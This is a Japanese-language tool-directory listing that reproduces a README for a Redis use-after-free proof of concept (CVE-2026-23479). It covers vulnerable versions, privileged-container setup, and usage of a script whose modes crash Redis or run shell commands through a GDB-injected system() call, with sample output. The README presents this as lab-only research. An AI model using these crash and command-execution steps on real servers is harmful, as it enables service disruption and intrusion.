Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-23479-Redis-UAF-Proof-of-Concept — GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ) | Kitploit
ツール/GitHubGitHub/rizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept
脆弱性分析エクスプロイトデバッガ学習と教育データベースセキュリティバイナリエクスプロイトラボと実践
GitHubrizlmaulanaa/cve-2026-23479-redis-uaf-proof-of-concept

CVE-2026-23479-Redis-UAF-Proof-of-Concept

GDB支援によるエクスプロイトを用いた概念実証(教育・ラボ用途のみ)

リポジトリを見る
5120日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

🔥 CVE-2026-23479 – Redis UAF Proof of Concept

License Python Docker CVE PoC

Redis unblockClientOnKey() における Use-After-Free によるリモートコード実行
GDB を活用したエクスプロイトの概念実証(教育・ラボ用途限定)


📖 概要

CVE-2026-23479 は、Redis バージョン 7.2.0 から 8.6.2 に存在する重大な Use‑After‑Free(UAF) 脆弱性です。
このバグは unblockClientOnKey() に存在し、この関数は processCommandAndResetClient() を 戻り値を確認せずに 呼び出します。
その呼び出し中にクライアントが解放された場合(例:エビクションによるもの)、呼び出し元はダングリングポインタを操作し続けます → UAF。
解放後にヒープを操作できる攻撃者は、任意のコード実行 を達成する可能性があります。

このリポジトリは、以下を行う GDB 支援 PoC を提供します:

  • 正確な脆弱なコードパスをトリガーする
  • 意図的にクラッシュ(freeClient() 呼び出し)を引き起こすことで UAF を証明する
  • 同じポイントで system() 呼び出しを注入することで 任意のコマンド実行 を実証する

⚠️ 重要: これは 兵器化されたエクスプロイトではありません。特権 Docker コンテナ内で GDB を使用し、実際の攻撃者が脆弱性を悪用した後に達成しうることを シミュレート するものです。 自身のラボ、または明示的な許可を得たシステムでのみ 使用してください。

🎥 PoC 動画

https://github.com/user-attachments/assets/5ce3aff0-e21c-4ad4-8a0b-50b57bdcf9ea


✨ 機能

  • 🧪 4 つの動作モード – crash、gdb、rce、full
  • 🐳 Docker ベース – ホストに脆弱な Redis をインストールする必要なし
  • 🔍 自動バージョン検出 – ターゲットが影響範囲内かどうかを確認
  • 🧹 自己クリーンアップ – 各実行前に古い GDB セッションを強制終了
  • 🎯 柔軟なコンテナ名 – --container で任意のコンテナを指定可能
  • 📦 単一の Python ファイル – 標準ライブラリ以外の依存関係なし

🧠 仕組み

  1. 被害者をブロック – XREAD BLOCK コマンドにより、クライアントはストリームデータを待機します。
  2. GDB をアタッチ – GDB がコンテナ内の Redis プロセス(pid 1)にアタッチします。
  3. processCommandAndResetClient にブレークポイントを設定 – ブロックされたクライアントが再処理されるときに呼び出される関数です。
  4. アンブロックをトリガー – 同じストリームへの XADD が被害者を起こします。
  5. ブレークポイントヒット時:
    • gdb モード: freeClient($rdi) を呼び出す → 意図的に SIGSEGV を引き起こす → UAF を証明。
    • rce モード: system("your command") を呼び出す → Redis ユーザー(デフォルトでは root)として任意のシェルコマンドを実行。
  6. 検証 – スクリプトは、期待される証明ファイルが存在するか(RCE)、または Redis がクラッシュしたか(UAF)を確認します。

ブレークポイントは、ブロックされたクライアントがアンブロックされる たびに 発火し、UAF を含む 同じコードパス がコード実行も可能にすることを示します。


📋 影響を受けるバージョン

ブランチ脆弱な範囲
7.27.2.0 – 7.2.13
7.47.4.0 – 7.4.8
8.28.2.0 – 8.2.5
8.48.4.0 – 8.4.2
8.68.6.0 – 8.6.2

スクリプトは Redis のバージョンを自動的に解析し、脆弱かどうかを報告します。


🐳 前提条件

  • Docker がインストールされ、実行中であること
  • Python 3.8+(標準ライブラリのみ使用)
  • apt を使用する Redis 8.6.2 Docker イメージ(例:公式の redis:8.6.2)
  • コンテナは --privileged で作成されている必要があります(ptrace に必要)

⚙️ セットアップ

1. リポジトリをクローン

git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC

2. 脆弱な Redis コンテナを起動

docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
  redis:8.6.2 redis-server --protected-mode no

3. コンテナ内に GDB をインストール

docker exec -u root redis-vuln-local bash -c "
  apt-get update && apt-get install -y gdb binutils procps
"

4. 確認

docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping   # should return PONG

🚀 使用方法

python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]

モード

モード説明
crashメモリプレッシャーを介して UAF をトリガーしようと試みます(GDB 不要)。Redis がクラッシュする可能性がありますが、保証はされません。
gdbGDB をアタッチし、ブレークポイントで freeClient() を呼び出します → SIGSEGV を強制します(UAF を証明)。
rceGDB をアタッチし、ブレークポイントで system(cmd) を呼び出します → コンテナ内でシェルコマンドを実行します。
full最初に crash を実行し、Redis がクラッシュしない場合は gdb にフォールバックします。

オプション

引数デフォルト説明
target(必須)Redis サーバーの IP アドレス
-p, --port6379Redis ポート
-m, --modefullcrash、gdb、rce、full のいずれか
--containerenv-redis-vuln-1Docker コンテナ名
--cmdid > /tmp/pwned_by_cverce モードで実行するコマンド

📚 ステップバイステップの例

注意: すべてのコマンドは ホストマシン から実行され、Docker コンテナ内では ありません。

1. GDB を介して UAF を証明する

python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local

期待される出力(抜粋)

[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()

Redis はセグメンテーションフォールト後にクラッシュします。

コンテナを再起動します:

docker start redis-vuln-local

2. リモートコード実行(RCE)を達成する

クリーンな状態を確保するために Redis を再起動します:

docker restart redis-vuln-local

エクスプロイトを実行します:

python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
  --cmd "touch /tmp/pwned" \
  --container redis-vuln-local

証明ファイルを確認します:

docker exec redis-vuln-local ls -l /tmp/pwned

成功した場合、ファイルが存在し、以下が証明されます:

system("touch /tmp/pwned");

が Redis コンテナ内で実行されたこと。


3. GDB なしで UAF をトリガーする(メモリプレッシャー)

python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local

Redis が予期せず終了した場合(コンテナが実行されていない場合)、UAF がトリガーされた可能性が高いです。

以下で再起動します:

docker start redis-vuln-local

4. フルテストを実行する

python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local

このモードは:

  1. メモリプレッシャーによるクラッシュを試みます。
  2. Redis が生き残った場合、GDB 支援方式にフォールバックします。

📸 サンプル出力(RCE モード)

============================================================
  CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE

[*] Method: RCE via UAF code path injection
    Exploits CVE-2026-23479 UAF in unblockClientOnKey()
    Breakpoint on processCommandAndResetClient -> system()
    Command: touch /tmp/pwned

[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit

============================================================
  Results
============================================================
  Target:     127.0.0.1:6379
  Version:    8.6.2
  Vulnerable: YES
  RCE:        CONFIRMED (arbitrary command execution)
============================================================

🔧 オリジナルスクリプトからの変更点

オリジナルの PoC は env-redis-vuln-1 という名前のコンテナ用にハードコードされており、新しい Python バージョンで実行すると複数の問題がありました。

更新版では以下の改善が導入されています:

問題修正
コンテナ名のハードコード--container 引数を追加し、すべての関数に伝播させました。
GDB スクリプトの commands ブロック内に file コマンドが配置されていたGDB がシンボルを正しくロードするように、file /usr/local/bin/redis-server を attach の前に移動しました。
subprocess.run() が capture_output=True と stderr=... の両方で使用されていたstdout=subprocess.DEVNULL と stderr=subprocess.DEVNULL に置き換えました。
古い GDB プロセスが ptrace: Operation not permitted を引き起こすtrigger_uaf_gdb() と trigger_rce() の両方で GDB を起動する前に pkill -9 gdb を追加しました。
GDB がサイレントに失敗したときのフィードバックがないGDB 出力のデバッグログを追加し、証明ファイルの検出を改善しました。

🧹 クリーンアップ

docker stop redis-vuln-local
docker rm redis-vuln-local

⚠️ 免責事項

このツールは 教育目的、許可されたセキュリティ研究、および自身が所有するか評価の明示的な許可を得たシステムのテストのみ を目的としています。

作者は、不正または悪意のある使用を 容認も奨励もしません。

本番環境または第三者のシステムをテストする前に、常に適切な許可を取得してください。


📚 参考文献

  • CVE-2026-23479 – NVD Detail
  • Redis Security
  • Redis GitHub Repository

セキュリティコミュニティへの ❤️ を込めて。

倫理的に。安全に。

ツールをダウンロード